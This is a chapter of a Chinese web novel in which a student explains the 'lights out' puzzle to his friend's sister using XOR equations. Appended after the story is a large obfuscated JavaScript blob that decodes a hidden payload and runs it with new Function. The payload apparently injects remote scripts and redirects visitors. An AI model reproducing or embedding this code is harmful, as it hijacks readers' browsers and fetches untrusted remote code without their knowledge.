第十五章 放开你的爪子!(1 / 1)

李振东看了张远一眼,看他对着手机露出了蜜汁微笑,心中一愣。 很好,找对象了。 一颗八卦心熊熊燃烧。 偷偷瞥了一眼,不对,竟然在做超级大脑? 李振东不得不捏住鼻子,没好气道:“这么努力的啊?” “无聊,做题目消遣一下。你看这个积分,解法多优美啊,真正能够算出解析解的积分算式是很少的。” 消遣一下…… 消遣…… 消…… 李振东额头上青筋乱跳,呼吸急促。联想到大学时期,张远就是这幅勤奋的狗样,害的他没少被爸妈批评。 “看看他,再看看你!”父亲的评判仿佛在耳边响起。 李振东心中不禁烦躁起来,这货大学毕业以后,不仅不收敛,反倒变本加厉。解题目已经变成了高级消遣,这么牛逼的么?! “等一下,我妹妹那里有个游戏玩不出,益智游戏,你反正无聊就试试看。” 游戏? “拿来瞧瞧吧。” 看到对方不怀好意的眼神,张远来了点兴趣,小孩子的玩意能有啥难度? 小姑娘拿着一个学习机递了过来,上边有着一个名叫“关灯游戏”的小程序。 题目是这样的:面板上亮着4*4的电灯方阵,每操作一盏电灯,连它自己带着周围上、下、左、右的电灯全都改变状态(亮变暗,暗变亮。) 如果通过一系列操作,让这些电灯全部熄灭,就算游戏过关。 “这个很简单嘛。” 张远随便点了几下,灯全部熄灭,过关了。 屏幕上又跳转出另外一幅图像,又变成了5*5的电灯矩阵,而且中间有几盏电灯已经灭掉了。 “难度有所增加。” 张远略微思索了一番,点了几下,又过关了,这次用的时间,比上一次更多一些。 很显然,随着电灯方阵的增加,游戏会越来越难。 “我的想法是……” 小姑娘眼睛扑闪扑闪,怯生生地说道:“如果有很大一个电灯队列,而且电灯的初始状态是任意的。那么,是否有一种数学算法,去求解这个问题,而不是随意地乱点乱凑……” 张远挠了挠头,笑着说道:“你妹妹很有数学思维嘛,这个通用算法,唔,我想想……” “当然了,她有我一大半智商呢!” “哥哥~我比你聪明~” “你哪里比我聪明了?” 李振东嘴上笑嘻嘻,心中也笑嘻嘻。 这个题目很难。 为什么很难? 因为他李振东想了一阵子,没有做出来。 所以,爱做题目的张兄弟,你慢慢想,想到天昏地暗,日夜颠倒…… 让好基友在亲妹妹面前丢人,他快活地很!解气的很呐! “我先洗澡。你慢慢做噢。” 小姑娘满脸期待地看着张远,反正这种题目,她肯定做不出来的。 不过作为出题人,心中也异常得意。 张远的反应出乎他们的意料,他有点不好意思:“不用了,你先别洗澡,已经解开了。” 什么? 解开了? 李振东眼睛快要瞪出来,跑出卫生间,又灰溜溜地穿回内衣。 张远侃侃而谈:“按照题目:按一次开关,连同它本身以及上下左右的电灯全部改变状态。所以我们可以得到一个结论:对于某一盏电灯而言,按奇数次开关的效果,和按一次开关的效果相同;按偶数次开关的效果等价于没按,也就是0。” 有点意思。 “所以,如果题目有解,每一盏电灯顶多只操作一次,要么不操作。” “首先讨论N*N的矩阵,这其实是一个二元群,而且同构于一个满秩的矩阵,既然矩阵满秩,必有唯一解……” 刚刚听了这么几句,李振东脑袋快要炸裂,灵感如同泉水般涌动! 等一下。 好像,就是这样…… 很简单的题目嘛。 我怎么没有想到呢? 他不甘心地大喊道:“你怎么能用群论?初中生怎么听得懂群论?你不可以这样对我妹妹!” 连李振东妈妈都钻出来看了,发现他们并没有在干嘛,又摇了摇头,回到厨房。 “那行吧。初中生学过多元一次方程组了吧?” 小姑娘点了点头,二元一次方程组,确实是初中内容,消元法就、代入法就能求解。 三元一次,四元一次也是可以接受的。 张远继续道:“假设Aij为调整第i列第j盏灯的次数,很显然,按照我刚刚所说的,Aij不是1,就是0。” “我们就拿最简单的2*2的矩阵举例,设一开始的关灯状态为0,开灯为1。” “我们假设矩阵初始状态是这样: 【1-0】 【0-0】” “那么可以写出四个方程: A11⊕A12⊕A21=1 A11⊕A12⊕A22=0 A11⊕A21⊕A22=0 A12⊕A21⊕A22=0” “求解可得A21=A11=A12=1,A22=0。所以只要依次操作A21、A11、A12这三盏灯就可以了,顺序无所谓。” “……所有N*N矩阵问题都可以这样计算,而且必然有解。但N*M问题却不一定有解,原因是这样的……” 李振东欲哭无泪,眼睁睁地看着妹妹的目光一点点仰慕起来,甚至冒出了小星星! 虽然他明明知道妹妹大概率听不懂…… 可是,可是,这个年纪的女孩子,天真单纯,眼中只有学习,她们对学霸没有任何抵抗力! 完了,妹妹对哥哥的仰慕,被别人抢走了啊! 只听到妹妹又问:“这个加号为什么要加一个圈?” “因为是二元域运算,1⊕1=0,1⊕0=1,0⊕0=0,在计算机领域称作异或运算……如果用普通的加号,会算出负数。” “张哥哥你懂的真多啊!” “所以要努力一点,否则像你哥哥那样,有天赋却没有兑现,聪明也没有用……” 牲畜,还要损我! go-die! “张哥哥,帮我做一下奥数题目吧,又好多题目我不会。我哥哥又不帮我。” “行……吧。” 我妹妹还未成年! 放开你的爪子! “咳咳!”李振东重重地咳嗽了一下,警告道:“我去洗澡,你别乱来啊,我爸妈还在家呢。” 啥? 张远挠了挠头。 小姑娘不由得撇了撇嘴,翻了个白眼。她都已经上初中了,也懂许多事情了,就算谈恋爱也不会遭到家里人反对。 她感觉自己亲哥真是脑子有点问题,还是这个张远哥哥正常一点……

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();